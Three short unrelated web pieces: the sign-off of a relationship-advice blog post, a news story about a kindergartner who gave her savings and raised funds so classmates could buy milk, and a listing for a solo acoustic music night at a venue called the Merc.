Go enjoy a movie, a new restaurant, breakfast in bed, or sleep! Whatever it is that makes you both happy! Remember that the small stresses will become nothing, and at the end of the day, you both want to be with each other!
Enjoy & Cheers!
I'll be back in a few weeks!


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It's a rule in 5-year-old Sunshine Oelfke's house that she has milk with every meal. So it came as a surprise during school one day when one of her classmates didn't have milk during snack time. Concerned her friend couldn't buy milk for themselves, Sunshine decided to bring money the next day so her friend could have it.
Her generous gesture doesn't come as a surprise to her grandma, Jackie. Her granddaughter, who she says "is obsessed with flamingos and snowmobiling," regularly does chores and picks up loose change on the sidewalk to put in her piggy banks. One of her banks was reserved to buy a snowmobile of her own, Jackie tells Babble. But when her friend needed help, Sunshine didn't think twice about giving her savings to them.
"I always tell my students when they do something that really amazes me, I get kindergarten goosebumps," Sunshine's teacher, Rita Hausher told TV 6. "I got kindergarten goosebumps from my toes to the top of my head."
What started as a selfless gesture for a friend has grown into Sunshine raising funds so every friend in her class has milk money available should they need it.
"She understands that some kids don't want it and some kids can't have it, but she wants to make sure the option is there for them, just in case," Jackie tells Babble. "She continues to take money from her piggy bank to school because she saw another friend that didn't have milk."
Grandma Jackie helped her start a GoFundMe account and together they have raised over $600 in under a week — all of which she plans to donate to those in need at her school. At age 5, Sunshine may not comprehend exactly what her good deed has started, but "is very happy that her friend now gets milk with her every day."
"We talk about our rules and do what's right and treat others the way you want to be treated," Principal Bernie Anderson told TV 6. "This all kind of falls in line and it's a great example that when you teach it and you emphasize it, the children pick up on it; they understand there's a need and they understand the value in helping."
Imagine what we could accomplish if everyone was paying attention as intently as Sunshine. It goes to show that no matter what the age, it doesn't take much to help those in need.


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You've seen Angie perform at the Merc as a duo and trio, but this time we are giving her the stage solo! Her voice and talent need no backup - she's awesome! "She is doing what she loves - crafting a simple song about her experiences, refashioning a metal song into a heartfelt ballad, or bringing down the house with belting out a chorus." Join us for an evening of beautiful acoustic guitar and singing. #livemusic #
Back to All Events
Earlier Event: June 27The Ginger Ups
Later Event: July 11Live Music @ the Merc featuring Mitchell James